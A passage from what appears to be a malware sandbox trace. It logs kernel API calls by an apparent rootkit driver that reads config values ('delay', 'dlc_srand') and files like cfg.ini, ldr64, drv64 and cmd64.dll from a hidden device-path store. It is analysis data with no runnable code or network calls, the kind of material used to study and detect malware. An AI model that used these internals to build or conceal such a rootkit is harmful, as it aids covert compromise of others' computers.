(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.784] KeEnterCriticalRegion () [0124.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.784] IdePortDispatch () returned 0x103 [0124.784] KeWaitForMutexObject () returned 0x0 [0124.784] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.784] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.784] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.784] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.784] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.784] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.784] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.784] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.784] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.784] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.784] KeLeaveCriticalRegion () [0124.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.785] ReleaseMutex (hMutex=0x100) returned 1 [0124.785] Sleep (dwMilliseconds=0x2bf20) [0124.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d92ae70, dwHighDateTime=0x1d24fa4)) [0124.791] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.791] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.791] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.791] KeEnterCriticalRegion () [0124.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.791] IdePortDispatch () returned 0x103 [0124.791] KeWaitForMutexObject () returned 0x0 [0124.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.791] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.791] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.791] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.791] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] KeLeaveCriticalRegion () [0124.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.792] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.792] KeEnterCriticalRegion () [0124.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] KeLeaveCriticalRegion () [0124.792] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.792] KeEnterCriticalRegion () [0124.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.792] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.792] IdePortDispatch () returned 0x103 [0124.792] KeWaitForMutexObject () returned 0x0 [0124.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] KeLeaveCriticalRegion () [0124.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.792] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.792] KeEnterCriticalRegion () [0124.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bf000 [0124.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.792] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.792] IdePortDispatch () returned 0x103 [0124.793] KeWaitForMutexObject () returned 0x0 [0124.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.793] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.793] IdePortDispatch () returned 0x103 [0124.793] KeWaitForMutexObject () returned 0x0 [0124.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.793] KeLeaveCriticalRegion () [0124.793] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.793] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.793] KeEnterCriticalRegion () [0124.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.793] KeLeaveCriticalRegion () [0124.793] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.794] KeEnterCriticalRegion () [0124.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.794] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] KeLeaveCriticalRegion () [0124.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.794] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.794] KeEnterCriticalRegion () [0124.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] KeLeaveCriticalRegion () [0124.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.794] ReleaseMutex (hMutex=0xf0) returned 1 [0124.794] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.794] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.794] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.794] KeEnterCriticalRegion () [0124.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.794] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.794] IdePortDispatch () returned 0x103 [0124.794] KeWaitForMutexObject () returned 0x0 [0124.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.794] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.794] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.794] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.794] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.794] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.794] KeLeaveCriticalRegion () [0124.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.794] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.794] KeEnterCriticalRegion () [0124.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.795] KeLeaveCriticalRegion () [0124.795] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.795] KeEnterCriticalRegion () [0124.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.795] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.795] IdePortDispatch () returned 0x103 [0124.795] KeWaitForMutexObject () returned 0x0 [0124.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.795] KeLeaveCriticalRegion () [0124.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.795] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.795] KeEnterCriticalRegion () [0124.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c0000 [0124.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.795] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.795] IdePortDispatch () returned 0x103 [0124.795] KeWaitForMutexObject () returned 0x0 [0124.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.796] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.796] IdePortDispatch () returned 0x103 [0124.796] KeWaitForMutexObject () returned 0x0 [0124.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.796] KeLeaveCriticalRegion () [0124.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.796] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.796] KeEnterCriticalRegion () [0124.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.796] KeLeaveCriticalRegion () [0124.796] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.796] KeEnterCriticalRegion () [0124.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.796] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.796] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.796] KeLeaveCriticalRegion () [0124.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.796] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.797] KeEnterCriticalRegion () [0124.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] KeLeaveCriticalRegion () [0124.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.797] ReleaseMutex (hMutex=0xf0) returned 1 [0124.797] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.797] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.797] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.797] KeEnterCriticalRegion () [0124.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.797] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.797] IdePortDispatch () returned 0x103 [0124.797] KeWaitForMutexObject () returned 0x0 [0124.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.797] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.797] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.797] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.797] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.797] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3220 [0124.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] KeLeaveCriticalRegion () [0124.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.797] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.797] KeEnterCriticalRegion () [0124.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.797] KeLeaveCriticalRegion () [0124.797] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.797] KeEnterCriticalRegion () [0124.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.798] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.798] IdePortDispatch () returned 0x103 [0124.798] KeWaitForMutexObject () returned 0x0 [0124.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.798] KeLeaveCriticalRegion () [0124.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.798] KeEnterCriticalRegion () [0124.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.798] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c1000 [0124.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.798] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.798] IdePortDispatch () returned 0x103 [0124.798] KeWaitForMutexObject () returned 0x0 [0124.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.798] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.798] IdePortDispatch () returned 0x103 [0124.799] KeWaitForMutexObject () returned 0x0 [0124.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] KeLeaveCriticalRegion () [0124.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.799] KeEnterCriticalRegion () [0124.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] KeLeaveCriticalRegion () [0124.799] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.799] KeEnterCriticalRegion () [0124.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.799] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf20e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] KeLeaveCriticalRegion () [0124.799] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.799] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.799] KeEnterCriticalRegion () [0124.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] ExFreePoolWithTag (P=0xfffffa8003bf3220, Tag=0x0) [0124.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.799] KeLeaveCriticalRegion () [0124.799] IofCompleteRequest 